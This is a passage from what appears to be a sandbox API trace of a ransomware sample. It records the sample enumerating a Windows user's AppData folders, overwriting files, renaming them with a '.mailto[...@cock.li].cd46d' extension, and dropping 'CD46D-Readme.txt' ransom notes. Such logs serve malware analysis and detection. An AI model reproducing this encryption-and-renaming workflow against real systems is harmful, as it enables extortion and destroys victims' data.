Flags=0x0, BaseAddress=0x8e8968) returned 1 [0153.024] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2668) returned 1 [0153.024] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x49) returned 0x8e4630 [0153.024] SetFilePointerEx (in: hFile=0xf34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.024] WriteFile (in: hFile=0xf34, lpBuffer=0x904560*, nNumberOfBytesToWrite=0x12d, lpNumberOfBytesWritten=0x479f98c, lpOverlapped=0x0 | out: lpBuffer=0x904560*, lpNumberOfBytesWritten=0x479f98c*=0x12d, lpOverlapped=0x0) returned 1 [0153.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0153.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e42c0) returned 1 [0153.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9878) returned 1 [0153.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4630) returned 1 [0153.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b98) returned 1 [0153.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedd0) returned 1 [0153.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af320) returned 1 [0153.372] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2f8) returned 1 [0153.372] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x8f67a8 [0153.372] wcscpy (in: _Dest=0x8f67a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" [0153.372] wcscat (in: _Dest=0x8f67a8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.mailto[2Hamlampampom@cock.li].cd46d" [0153.372] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x479f944, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0153.372] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a8) returned 0x8f6488 [0153.373] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6488) returned 1 [0153.373] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9278b8) returned 1 [0153.373] NtQueryInformationFile (in: FileHandle=0xf34, IoStatusBlock=0x479f950, FileInformation=0x479f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x479f950, FileInformation=0x479f928) returned 0x0 [0153.373] NtSetInformationFile (FileHandle=0xf34, IoStatusBlock=0x479f950, FileInformation=0x479f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0153.375] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f67a8) returned 1 [0153.375] FlushFileBuffers (hFile=0xf34) returned 1 [0153.377] CloseHandle (hObject=0xf34) returned 1 [0153.377] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x904560 [0153.378] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0153.378] wcscat (in: _Dest=0x904560, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\CD46D-Readme.txt" [0153.378] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\cd46d-readme.txt")) returned 0xffffffff [0153.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf34 [0153.378] WriteFile (in: hFile=0xf34, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x479f94c, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x479f94c*=0x6fd, lpOverlapped=0x0) returned 1 [0153.379] CloseHandle (hObject=0xf34) returned 1 [0153.379] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0153.379] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6978) returned 1 [0153.379] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.manifest", cAlternateFileName="")) returned 1 [0153.379] wcscmp (_String1="clickonce_bootstrap.exe.manifest", _String2=".") returned 1 [0153.379] wcscmp (_String1="clickonce_bootstrap.exe.manifest", _String2="..") returned 1 [0153.379] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x14e) returned 0x904560 [0153.380] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0153.380] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0153.380] wcscat (in: _Dest=0x904560, _Source="clickonce_bootstrap.exe.manifest" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" [0154.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x904560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144c [0154.095] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap_unsigned.cdf-ms", cAlternateFileName="CLICKO~1.CDF")) returned 1 [0154.095] wcscmp (_String1="clickonce_bootstrap_unsigned.cdf-ms", _String2=".") returned 1 [0154.095] wcscmp (_String1="clickonce_bootstrap_unsigned.cdf-ms", _String2="..") returned 1 [0154.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x154) returned 0x8f6488 [0154.095] wcscpy (in: _Dest=0x8f6488, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0154.095] wcscat (in: _Dest=0x8f6488, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0154.095] wcscat (in: _Dest=0x8f6488, _Source="clickonce_bootstrap_unsigned.cdf-ms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" [0154.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f6488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1090 [0154.096] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap_unsigned.manifest", cAlternateFileName="CLICKO~1.MAN")) returned 1 [0154.096] wcscmp (_String1="clickonce_bootstrap_unsigned.manifest", _String2=".") returned 1 [0154.096] wcscmp (_String1="clickonce_bootstrap_unsigned.manifest", _String2="..") returned 1 [0154.096] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x158) returned 0x904948 [0154.096] wcscpy (in: _Dest=0x904948, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0154.097] wcscat (in: _Dest=0x904948, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0154.097] wcscat (in: _Dest=0x904948, _Source="clickonce_bootstrap_unsigned.manifest" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" [0154.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x904948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108c [0154.098] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="")) returned 1 [0154.098] wcscmp (_String1="GoogleUpdateSetup.exe", _String2=".") returned 1 [0154.098] wcscmp (_String1="GoogleUpdateSetup.exe", _String2="..") returned 1 [0154.098] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="")) returned 0 [0154.098] FindClose (in: hFindFile=0x8da450 | out: hFindFile=0x8da450) returned 1 [0154.098] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907510) returned 1 [0154.098] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfdf0) returned 1 [0154.098] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 [0154.098] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x9be060 | out: lpFindFileData=0x9be060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1 [0154.098] wcscmp (_String1="manifests", _String2=".") returned 1 [0154.098] wcscmp (_String1="manifests", _String2="..") returned 1 [0154.098] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb2) returned 0xd4c6b00 [0154.098] wcscpy (in: _Dest=0xd4c6b00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0154.098] wcscat (in: _Dest=0xd4c6b00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\" [0154.098] wcscat (in: _Dest=0xd4c6b00, _Source="manifests" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests" [0154.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c6b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c [0154.099] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x9be060 | out: lpFindFileData=0x9be060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 0 [0154.100] FindClose (in: hFindFile=0x8da110 | out: hFindFile=0x8da110) returned 1 [0154.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9be060) returned 1 [0154.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b808) returned 1 [0154.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934d08) returned 1 [0154.100] FindNextFileW (in: hFindFile=0x9428f0, lpFindFileData=0x9beed0 | out: lpFindFileData=0x9beed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0 [0154.100] FindClose (in: hFindFile=0x9428f0 | out: hFindFile=0x9428f0) returned 1 [0154.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9beed0) returned 1 [0154.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e79e8) returned 1 [0154.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6cf8) returned 1 [0154.100] FindNextFileW (in: hFindFile=0x9427b0, lpFindFileData=0x9bd1f0 | out: lpFindFileData=0x9bd1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 0 [0154.100] FindClose (in: hFindFile=0x9427b0 | out: hFindFile=0x9427b0) returned 1 [0154.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bd1f0) returned 1 [0154.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e88f0) returned 1 [0154.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8ad0) returned 1 [0154.100] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x92b160 | out: lpFindFileData=0x92b160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0 [0154.101] FindClose (in: hFindFile=0x942030 | out: hFindFile=0x942030) returned 1 [0154.101] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92b160) returned 1 [0154.101] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0e98) returned 1 [0154.101] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0e28) returned 1 Thread: id = 1815 os_tid = 0x9fc [0140.431] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0080 [0140.431] wcscpy (in: _Dest=0x8d0080, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" [0140.431] wcscat (in: _Dest=0x8d0080, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\" [0140.431] wcscat (in: _Dest=0x8d0080, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*" [0140.431] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92b3c8 [0140.431] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x92b3c8 | out: lpFindFileData=0x92b3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942030 [0142.846] wcscmp (_String1=".", _String2=".") returned 0 [0142.846] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x92b3c8 | out: lpFindFileData=0x92b3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.846] wcscmp (_String1="..", _String2=".") returned 1 [0142.846] wcscmp (_String1="..", _String2="..") returned 0 [0142.846] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x92b3c8 | out: lpFindFileData=0x92b3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.846] FindClose (in: hFindFile=0x942030 | out: hFindFile=0x942030) returned 1 [0142.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92b3c8) returned 1 [0142.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0080) returned 1 [0142.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8ad0) returned 1 Thread: id = 1816 os_tid = 